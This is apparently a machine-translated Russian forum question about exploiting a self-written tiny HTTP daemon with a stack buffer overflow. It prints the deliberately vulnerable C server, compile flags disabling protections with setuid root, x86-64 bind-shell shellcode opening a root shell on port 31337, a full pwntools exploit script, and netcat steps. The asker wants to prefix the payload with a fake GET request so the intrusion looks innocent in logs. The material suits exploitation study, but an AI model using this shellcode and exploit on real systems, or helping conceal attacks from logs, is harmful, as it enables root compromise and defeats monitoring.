У меня проблема в том, что когда я подключаюсь к своему собственному демону http-сервера через remote в pwntools, чтобы использовать его, сервер устанавливает соединение только тогда, когда буфер, отправленный с помощью pwntools, не запускается с «GET / HTTP / 1.1 \ x00» , Я уже проверил, что сервер работает нормально, когда я запрашиваю у него веб-сайт с помощью моего браузера, и я также могу использовать его с переполнением буфера, но как только я пытаюсь скрыть попытку эксплойта в файлах журнала, запустив буфер с HTTP-запрос GET, завершенный нулевым байтом, журнал сервера сообщает, что не было даже соединения из сценария python. Я использую 64-битную Kali linux, и следующий код веб-сервера:
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>
#include <signal.h>
#include "../c_programming/hacking.h"
#include "hacking_network.h"
#define PORT 80
#define WEBROOT "./webroot"
#define LOGFILE "/var/log/tinywebd.log"
int logfd, sockfd;
void handle_connection(int, struct sockaddr_in *, int);
int get_file_size(int);
void timestamp(int);
void handle_shutdown(int signal) {
timestamp(logfd);
write(logfd, "Shutting down.\n", 16);
close(logfd);
close(sockfd);
exit(0);
}
int main(void) {
int new_sockfd, yes=1;
struct sockaddr_in host_addr, client_addr;
socklen_t sin_size;
logfd = open(LOGFILE, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
if (logfd == -1) {
fatal("opening logfile");
}
if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
fatal("in socket");
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)
fatal("in setsockopt to SO_REUSEADDR");
printf("Starting tiny web daemon.\n");
if (daemon(1, 0) == -1)
fatal("forking to daemon process");
signal(SIGTERM, handle_shutdown);
signal(SIGINT, handle_shutdown);
timestamp(logfd);
write(logfd, "Starting up.\n", 15);
host_addr.sin_family = AF_INET;
host_addr.sin_port = htons(PORT);
host_addr.sin_addr.s_addr = INADDR_ANY;
memset(&(host_addr.sin_zero), '\0', 8);
if (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)) == -1)
fatal("in binding socket to port 80 of local host");
if (listen(sockfd, 20) == -1)
fatal("listening on socket");
while (1) {
sin_size = sizeof(struct sockaddr_in);
new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);
if (new_sockfd == -1) {
fatal("accepting connection");
write(logfd, "[!!] fatal in accepting connection\n", strlen("fatal in accepting connection\n"));
}
handle_connection(new_sockfd, &client_addr, logfd);
}
return 0;
}
void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {
unsigned char *ptr, request[500], resource[500], logbuffer[500];
int fd, length;
length = recv_line(sockfd, request);
sprintf(logbuffer, "From: %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request);
ptr = strstr(request, " HTTP/");
if (ptr == NULL) {
strcat(logbuffer, " NOT HTTP!\n");
} else {
*ptr = 0;
ptr = NULL;
if (strncmp(request, "GET ", 4) == 0)
ptr = request+4;
if (strncmp(request, "HEAD ", 5) == 0)
ptr = request+5;
if (ptr == NULL) {
strcat(logbuffer, "\tUNKNOWN REQUEST!\n");
} else {
if (ptr[strlen(ptr) - 1] == '/')
strcat(ptr, "index.html");
strcpy(resource, WEBROOT);
strcat(resource, ptr);
fd = open(resource, O_RDONLY, 0);
if (fd == -1) {
strcat(logbuffer, " 404 Not Found\n");
send_string(sockfd, "HTTP/1.0 200 OK\r\n\r\n");
send_string(sockfd, "Server: Tiny webserver\r\n\r\n");
send_string(sockfd, "<html><head><title>404 Not Found</title></head>");
send_string(sockfd, "<body><h1>URL Not Found</h1></body></html>\r\n");
} else {
strcat(logbuffer, " 200 OK\n");
send_string(sockfd, "HTTP/1.0 200 OK\r\n");
send_string(sockfd, "Server: Tiny webserver\r\n\r\n");
if (ptr == request+4) {
if( (length = get_file_size(fd)) == -1)
fatal("getting resource file size");
if( (ptr = (unsigned char *) malloc(length)) == NULL)
fatal("allocating memory for reading resource");
read(fd, ptr, length);
send(sockfd, ptr, length, 0);
free(ptr);
}
close(fd);
}
}
}
timestamp(logfd);
length = strlen(logbuffer);
write(logfd, logbuffer, length);
shutdown(sockfd, SHUT_RDWR);
}
int get_file_size(int fd) {
struct stat stat_struct;
if (fstat(fd, &stat_struct) == -1)
return -1;
return (int) stat_struct.st_size;
}
void timestamp(int fd) {
time_t now;
struct tm *time_struct;
int length;
char time_buffer[40];
time(&now);
time_struct = localtime((const time_t *)&now);
length = strftime(time_buffer, 40, "%m/%d/%Y %H:%M:%S> ", time_struct);
write(fd, time_buffer, length);
}
Обратите внимание, что в сети root у меня просто есть индекс html script. html ', который показывает веб-страница с изображением, также сохраненная в каталоге web root. Это файл 'hacking_network.h', из которого я использую функцию 'recv_line' для чтения данных из подключенного сокета:
/* This function accepts a socket FD and a ptr to the null terminated
* string to send. The function will make sure all the bytes of the
* string are sent. Returns 1 on success and 0 on failure.
*/
int send_string(int sockfd, unsigned char *buffer) {
int sent_bytes, bytes_to_send;
bytes_to_send = strlen(buffer);
while(bytes_to_send > 0) {
sent_bytes = send(sockfd, buffer, bytes_to_send, 0);
if(sent_bytes == -1)
return 0; // return 0 on send error
bytes_to_send -= sent_bytes;
buffer += sent_bytes;
}
return 1; // return 1 on success
}
/* This function accepts a socket FD and a ptr to a destination
* buffer. It will receive from the socket until the EOL byte
* sequence in seen. The EOL bytes are read from the socket, but
* the destination buffer is terminated before these bytes.
* Returns the size of the read line (without EOL bytes).
*/
int recv_line(int sockfd, unsigned char *dest_buffer) {
#define EOL "\r\n" // End-Of-Line byte sequence
#define EOL_SIZE 2
unsigned char *ptr;
int eol_matched = 0;
ptr = dest_buffer;
while(recv(sockfd, ptr, 1, 0) == 1) { // read a single byte
if(*ptr == EOL[eol_matched]) { // does this byte match terminator
eol_matched++;
if(eol_matched == EOL_SIZE) { // if all bytes match terminator,
*(ptr+1-EOL_SIZE) = '\0'; // terminate the string
return strlen(dest_buffer); // return bytes recevied
}
} else {
eol_matched = 0;
}
ptr++; // increment the pointer to the next byter;
}
return 0; // didn't find the end of line characters
}
/* Structure for Ethernet headers */
#define ETHER_ADDR_LEN 6
#define ETHER_HDR_LEN 14
struct ether_hdr {
unsigned char ether_dest_addr[ETHER_ADDR_LEN]; // Destination MAC address
unsigned char ether_src_addr[ETHER_ADDR_LEN]; // Source MAC address
unsigned short ether_type; // Type of Ethernet packet
};
/* Structure for Internet Protocol (IP) headers */
struct ip_hdr {
unsigned char ip_version_and_header_length; // version and header length combined
unsigned char ip_tos; // type of service
unsigned short ip_len; // total length
unsigned short ip_id; // identification number
unsigned short ip_frag_offset; // fragment offset and flags
unsigned char ip_ttl; // time to live
unsigned char ip_type; // protocol type
unsigned short ip_checksum; // checksum
struct in_addr ip_src_addr; // source IP address
struct in_addr ip_dest_addr; // destination IP address
};
/* Structure for Transmission Control Protocol (TCP) headers */
struct tcp_hdr {
unsigned short tcp_src_port; // source TCP port
unsigned short tcp_dest_port; // destination TCP port
unsigned int tcp_seq; // TCP sequence number
unsigned int tcp_ack; // TCP acknowledgement number
unsigned char reserved:4; // 4-bits from the 6-bits of reserved space
unsigned char tcp_offset:4; // TCP data offset for little endian host
unsigned char tcp_flags; // TCP flags (and 2-bits from reserved space)
#define TCP_FIN 0x01
#define TCP_SYN 0x02
#define TCP_RST 0x04
#define TCP_PUSH 0x08
#define TCP_ACK 0x10
#define TCP_URG 0x20
unsigned short tcp_window; // TCP window size
unsigned short tcp_checksum; // TCP checksum
unsigned short tcp_urgent; // TCP urgent pointer
};
Я скомпилирую его, используя:
gcc -fno-stack-protector -z execstack -o http http.c
sudo chown root http
sudo chmod u+s http
Я использую этот шелл-код
\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x99\xb0\x75\x0f\x05\x6a\x29
\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x48\x97\x4d\x31\xd2\x41
\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89
\xe6\x6a\x10\x5a\xb0\x31\x0f\x05\x6a\x32\x58\x6a\x02\x5e\x0f\x05
\x48\x89\xe6\x6a\x10\x48\x89\xe2\xb0\x2b\x0f\x05\x48\x97\x6a\x03
\x5e\xb0\x21\xff\xce\x0f\x05\xe0\xf8\x6a\x3b\x58\x56\x48\xbb\x2f
\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x56\x48\x89\xe2\x57
\x48\x89\xe6\x0f\x05
, который будет привязан к порту 31337 на pwned машине, запускает оболочку root, а также перенаправляет stdin, stdout и stderr на соединение через порт 31337 в сочетании со следующим python script
from pwn import *
import struct
import sys
ip_start = -50
if len(sys.argv) < 3:
print "Usage: %s <shellcode file> <target IP> <source IP (optional)>" % (sys.argv[0])
sys.exit()
shellcode = str()
with open(sys.argv[1], 'r') as f:
shellcode = f.read()
if len(sys.argv) > 3:
shellcode = list(shellcode)
ip_arr = (sys.argv[3]).split('.')
for i in range(len(ip_arr)):
off = i - len(ip_arr) + 1
shellcode[ip_start+off] = chr(int(ip_arr[i]))
shellcode = ''.join(shellcode)
target_ip = sys.argv[2]
FAKEREQUEST = "GET / HTTP/1.1\x00"
OFFSET = 552
RET = 0x7fffffffde30 + 200
print "Target ip: %s" % (target_ip)
print "Shellcode: %s (%d bytes)" % (shellcode, len(shellcode))
print "Fake request: \"%s\" (%d bytes)" % (FAKEREQUEST, len(FAKEREQUEST))
print "[Fake Request (%d bytes)] [NOP (%d bytes)] [shellcode (%d bytes)] [NOP 2 (%d bytes)] [ret addr (%d bytes)]" % (len(FAKEREQUEST), 300-len(FAKEREQUEST), len(shellcode), OFFSET-300-len(shellcode), 8)
buffer = ""
buffer += FAKEREQUEST + '\x90' * (300-len(FAKEREQUEST))
buffer += shellcode
buffer += '\x90' * (OFFSET-300-len(shellcode))
buffer += struct.pack("Q", RET)
buffer += "\r\n"
print buffer
p = remote(target_ip, 80);
p.send(buffer)
Сначала я запускаю двоичный файл 'http', а затем сценарий python. Наконец, я подключаюсь к порту 31337, который указан в шелл-коде на 127.0.0.1 с использованием netcat
./http
python exploit.py ./shellcode_file 127.0.0.1
nc 127.0.0.1 31337
Однако, когда я запускаю его, не помещая ложный запрос в начале, последняя команда netcat выдаст root ракушка. Это поведение можно проверить с помощью файла журнала, в котором показан буфер для всех попыток эксплойта без работающего перед ним запроса GET, но когда я использую его с запросом GET, демон http просто отключится без дополнительной информации в журнале. файл, кроме сообщения от запуска. Содержимое этого файла журнала выглядит так, когда я не использую GET перед буфером:
03/21/2020 07:54:30> Starting up.
03/21/2020 07:54:44> From: 127.0.0.1:57026 "������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�H1�H1���uj)Xj_j^�H�M1�ARAR�$f�D$zi�D$��J�H��jZ�*j^�!����j;XVH�//bin/shSH��VH��WH�������������������������������������������������������������������������������������������������������������������." NOT HTTP!
, и вот так, если я делаю:
03/21/2020 07:55:26> Starting up.
Почему эксплойт ведет себя так странный способ и как я могу это исправить, чтобы фактически эксплуатировать демон http, а также не иметь весь буфер, зарегистрированный в файле журнала, а просто невинно выглядящий запрос GET?